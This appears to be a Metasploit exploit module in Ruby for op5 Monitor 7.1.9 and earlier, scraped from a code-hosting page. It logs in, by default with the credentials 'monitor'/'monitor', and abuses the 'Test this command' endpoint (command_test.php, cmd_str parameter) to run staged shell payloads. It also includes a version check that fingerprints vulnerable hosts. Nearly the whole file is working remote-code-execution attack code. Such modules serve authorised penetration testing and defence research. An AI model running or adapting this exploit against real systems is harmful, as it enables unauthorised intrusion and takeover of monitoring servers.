133 lines
4.0 KiB
Ruby
133 lines
4.0 KiB
Ruby
##
|
|
## This module requires Metasploit: http://metasploit.com/download
|
|
## Current source: https://github.com/rapid7/metasploit-framework
|
|
###
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
Rank = ExcellentRanking
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'op5 v7.1.9 Configuration Command Execution',
|
|
'Description' => %q(
|
|
op5 an open source network monitoring software.
|
|
The configuration page in version 7.1.9 and below
|
|
allows the ability to test a system command, which
|
|
can be abused to run arbitrary code as an unpriv user.
|
|
),
|
|
'Author' =>
|
|
[
|
|
'h00die <mike@shorebreaksecurity.com>', # module
|
|
'hyp3rlinx' # discovery
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'EDB', '39676' ],
|
|
[ 'URL', 'https://www.op5.com/blog/news/op5-monitor-7-2-0-release-notes/']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['linux', 'unix'],
|
|
'Privileged' => false,
|
|
'DefaultOptions' => { 'SSL' => true },
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic Target', {}]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Apr 08 2016'
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(443),
|
|
OptString.new('USERNAME', [ true, 'User to login with', 'monitor']),
|
|
OptString.new('PASSWORD', [ false, 'Password to login with', 'monitor']),
|
|
OptString.new('TARGETURI', [ true, 'The path to the application', '/'])
|
|
], self.class
|
|
)
|
|
end
|
|
|
|
def check
|
|
begin
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'method' => 'GET'
|
|
)
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
|
/Version: (?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+\|/ =~ res.body
|
|
|
|
if version && Gem::Version.new(version) <= Gem::Version.new('7.1.9')
|
|
vprint_good("Version Detected: #{version}")
|
|
Exploit::CheckCode::Appears
|
|
else
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
execute_cmdstager(
|
|
:flavor => :echo
|
|
)
|
|
end
|
|
|
|
def execute_command(cmd, opts)
|
|
begin
|
|
# To manually view the vuln page, click Manage > Configure > Commands.
|
|
# Click the "Test this command" button to display the form we abuse.
|
|
|
|
# login
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'monitor/index.php/auth/login'),
|
|
'method' => 'POST',
|
|
'vars_get' =>
|
|
{
|
|
'uri' => 'tac/index'
|
|
},
|
|
'vars_post' =>
|
|
{
|
|
'csrf_token' => '',
|
|
'username' => datastore['USERNAME'],
|
|
'password' => datastore['PASSWORD']
|
|
}
|
|
)
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 302
|
|
cookie = res.get_cookies
|
|
# exploit
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'monitor/op5/nacoma/command_test.php'),
|
|
'method' => 'GET',
|
|
'cookie' => cookie,
|
|
'vars_get' =>
|
|
{
|
|
'cmd_str' => cmd
|
|
}
|
|
)
|
|
|
|
# success means we hang our session, and wont get back a response
|
|
if res
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Credentials need additional privileges") if res.body =~ /Access Denied/
|
|
end
|
|
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
end
|
|
end
|
|
|
|
def on_new_session(session)
|
|
super
|
|
session.shell_command_token('setsid $SHELL')
|
|
end
|
|
end
|